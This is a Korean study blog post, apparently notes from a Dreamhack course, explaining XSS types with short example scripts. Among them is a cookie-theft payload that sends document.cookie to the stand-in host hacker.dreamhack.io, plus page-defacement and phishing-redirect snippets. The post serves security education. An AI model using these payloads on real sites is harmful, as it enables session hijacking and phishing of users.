해당 포스팅은 https://dreamhack.io/lecture/roadmaps/1?obj=8를 참고하여 작성하였으며 공부 목적으로 작성하였습니다.
XSS
정의
클라이언트 사이드 취약점 중 하나로, 공격자가 웹 리소스에 악성 스크립트를 삽입하여 이용자의 웹 브라우저에서 해당 스크립트를 실행하는 취약점이이다. 공격자는 해당 취약점을 통해 특정 계정의 세션 정보를 탈취하고 해당 계정으로 임의의 기능을 수행할 수 있다.
즉, 공격자가 특정 사이트에 XSS 취약점 공격을 수행한 게시물을 올렸다고 가정하자. 만약 사이트 사용자가 해당 게시물에 접근하게 된다면 악성 스크립트가 실행되어 공격자가 의도한 공격이 수행되는 것이다.
XSS 발생 예시와 종류
종류 | 설명 |
Stored XSS | XSS에 사용되는 악성 스크립트가 서버에 저장되고 서버의 응답에 담겨오는 XSS |
Reflected XSS | XSS에 사용되는 악성 스크립트가 URL에 삽입되고 서버의 응답에 담겨오는 XSS |
DOM-based XSS | XSS에 사용되는 악성 스크립트가 URL Fragment에 삽입되는 XSS Fragment는 서버의 응답과 요청에 포함되지 않음 |
Universal XSS | 클라이언트의 브라우저 혹은 브라우저의 플러그인에서 발생하는 취약점으로 SOP 정책을 우회하는 XSS |
XSS 스크립트 예시
쿠키 및 세션 탈취 공격의 예시 코드는 다음과 같으며, 간략하게 현재 페이지의 쿠키 값을 공격자 주소로 전달하는 방식으로 동작한다.
<script>
alert("hello"); // hello 문자열 alert 함수로 실행. XSS가 되는지 확인하기 위함
document.cookie; // 현재 페이지의 쿠키(반환 자료형 : string)
alert(document.cookie); // 현재 페이지의 쿠키르 인자로 alert
document.cookie = "name=test;"; // key: name, value : test 인 쿠키 생성
new Image().src = "http://hacker.dreamhack.io/?cookie=" + document.cookie;
// dreamhack.io는 공격자 주소이고 공격자 주소에 cookie 값을 요청하게 된다.
</script>
페이지 변조 공격 예시 코드는 다음과 같으며 document.write()
를 사용하여 데이터를 이용자의 페이지에 삽입한다.
<script>
document; // 이용자의 페이지 정보에 접근
document.write("Hacked By DreamHack !"); // 이용자의 페이지에 데이터 삽입
</script>
위치 이동 공격 코드는 다음과 같으며 location.href()
를 사용하여 공격자가 원하는 주소로 이용자를 이동시킨다.
<script>
location.href = "http://hacker.dreamhack.io/phishing"; // 이용자 위치 변경
window.open("http://hacker.dreamhack.io/") // 새창으로 이동
</script>
Stored XSS
Stroed XSS는 서버의 데이터베이스 또는 파일 등의 형태로 저장된 악성 스크립트를 조회할 때 발생하는 XSS이다. 또한, 악성 스크립트가 서버에 저장된다.
Reflected XSS
서버가 악성 스크립트가 담긴 요청을 출력할 때 발생한다. 즉 서버에 악의적인 스크립트가 포함된 URL을 요청할 경우 스크립트가 실행되어 스크립트 실행 결과가 출력된다.
그리고, Reflected XSS는 Stored XSS와는 다르게 URL과 같은 이용자의 요청에 의해 발생한다는 차이점이 존재한다.
하지만, 악의적인 스크립트가 포함된 URL의 경우 길이가 길어지기 때문에, 일반 사용자가 악의적인 스크립트가 포함된 URL을 눈치챌 수 있다.
그리하여, 공격자들은 이용자들이 눈치채지 못하도록 Click Jacking 또는 Open Redirect 등과 같은 다른 취약점과 연계하여 사용한다.
www.aaa.com
이면 www.aaa.com/?url=공격자가 원하는 주소
와 같은 형태로 변조하는 것이다.
오류, 잘못된 점 또는 궁금한 점이 있으시다면 댓글 남겨주세요❗
Uploaded by N2T
'Dreamhack > Web hacking' 카테고리의 다른 글
xss-2 Write-Up💻 (0) | 2023.01.20 |
---|---|
xss-1 Write-Up💻 (0) | 2023.01.18 |
[Web hacking] Mitigation: Same Origin Policy (0) | 2023.01.18 |
session-basic Write-Up (0) | 2023.01.17 |
Background: Cookie & Session (0) | 2023.01.17 |